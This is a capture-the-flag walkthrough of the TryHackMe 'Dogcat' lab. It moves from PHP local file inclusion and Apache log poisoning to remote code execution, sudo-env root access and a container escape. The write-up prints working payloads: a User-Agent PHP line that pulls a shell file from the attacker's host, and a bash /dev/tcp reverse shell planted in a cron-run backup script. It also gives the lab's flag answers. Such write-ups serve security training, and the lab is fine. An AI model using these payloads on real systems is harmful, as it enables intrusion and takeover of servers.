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On this page
  • Scanning
  • Nmap
  • Enumeration
  • Port 80
  • Initial Access
  • LFI to RCE
  • Privilege Escalation
  1. Try Hack Me - THM
  2. Linux Boxes

Dogcat

I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

Scanning

Nmap

root@ip-10-10-97-164:~# nmap -F 10.10.20.102
​
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-24 19:49 BST
Nmap scan report for ip-10-10-20-102.eu-west-1.compute.internal (10.10.20.102)
Host is up (0.0082s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:6B:D4:2B:DC:C9 (Unknown)
​
Nmap done: 1 IP address (1 host up) scanned in 1.91 seconds
​
root@ip-10-10-97-164:~# nmap -sV -O 10.10.20.102
​
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-24 20:01 BST
Nmap scan report for ip-10-10-20-102.eu-west-1.compute.internal (10.10.20.102)
Host is up (0.00051s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 02:6B:D4:2B:DC:C9 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=9/24%OT=22%CT=1%CU=42340%PV=Y%DS=1%DC=D%G=Y%M=026BD4%T
OS:M=614E20BB%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=
OS:F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
​
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.52 seconds
​

apache2-debian

Enumeration

Port 80

after some enum i find this parameter "view"

i tried path traversal but throw back error

lets try php-wrapper filter "bypass required"

http://10.10.20.102/?view=php://filter/convert.base64-encode/resource=cat/../index

LFI vulnerability "local file inclusion"

this encoded output is index.php

root@ip-10-10-97-164:~# echo "PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==" | base64 -d > index.php

index.php

to avoid extension check we can set is as empty in get request &ext

lets try access /etc/passwd

add ext var with empty value

http://10.10.20.102/?view=cat/../../../../etc/passwd&ext

Initial Access

LFI to RCE

google for where is logs for apache2-debian

http://10.10.20.102?view=cat/../../../../var/log/apache2/access.log&ext

lets try to run php code in user agent header

curl http://10.10.20.102/?view=cat -A "<?php echo('hi')"?>"

php code executed ...

i tried to include bash reverse shell in same way ... not working

lets try to include shell file

<?php file_put_contents('shell.php', file_get_contents('http://10.9.0.54/shell.php')); ?>

setup http server in shell directory 

$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

send the request with "payload"

$ curl -A "<?php file_put_contents('shell.php', file_get_contents('http://10.9.0.54/shell.php')); ?>" \"http://10.10.197.237/?view=./dog/../../../../var/log/apache2/access.log&ext"

set up listener 

$ nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.197.237.
Ncat: Connection from 10.10.197.237:44922.
Linux 28e9b7daee8b 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
 15:52:52 up  1:42,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

first flag:

$ find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
$ cat /var/www/html/flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

What is flag 2?

Still using our reverse shell:

$ cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

Privilege Escalation

check if account has sudo privilege

$ sudo -l
Matching Defaults entries for www-data on 28e9b7daee8b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
​
User www-data may run the following commands on 28e9b7daee8b:
    (root) NOPASSWD: /usr/bin/env

https://gtfobins.github.io/gtfobins/env/, we see that we can take advantage of this to run a privileged shell with sudo /usr/bin/env /bin/bash:

$ sudo /usr/bin/env /bin/bash
$ whoami
root

3rd flag


$ find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/root/flag3.txt
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
$ cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

Are we inside a container?

Still in our reverse shell, running the hostname command outputs 28e9b7daee8b, which might be an indication that we are running inside a container.

Listing the different directories at the root of the system reveals that /opt/ contains backups:

$ cd /opt
$ ls -l
total 4
drwxr-xr-x 2 root root 4096 May 10 17:47 backups
$ cd backups
$ ls -l
total 2884
-rwxr--r-- 1 root root      69 Mar 10 20:49 backup.sh
-rw-r--r-- 1 root root 2949120 May 10 17:51 backup.tar

Here is the content of the script:

$ cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Also refreshing the ls -l command reveals that the backup.tar archive is saved every minute.

Escaping the container

Let’s take advantage of that to modify the script and create a reverse shell to the main server and hence, escape the container.

Let’s go to http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and get a bash reverse shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OK, let’s transform the backup script into a reverse shell:

$ printf '#!/bin/bash\nbash -i >& /dev/tcp/10.9.0.54/8080 0>&1' > backup.sh

And open a listener on our machine:

$ nc -nlvp 8080

The output from the reverse shell:

$ nc -nlvp 8080
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.197.237.
Ncat: Connection from 10.10.197.237:36286.
bash: cannot set terminal process group (13166): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root
root@dogcat:~# hostname 
hostname
dogcat
root@dogcat:~# ls -l
ls -l
total 8
drwxr-xr-x 5 root root 4096 Mar 10 20:52 container
-rw-r--r-- 1 root root   80 Mar 10 19:54 flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

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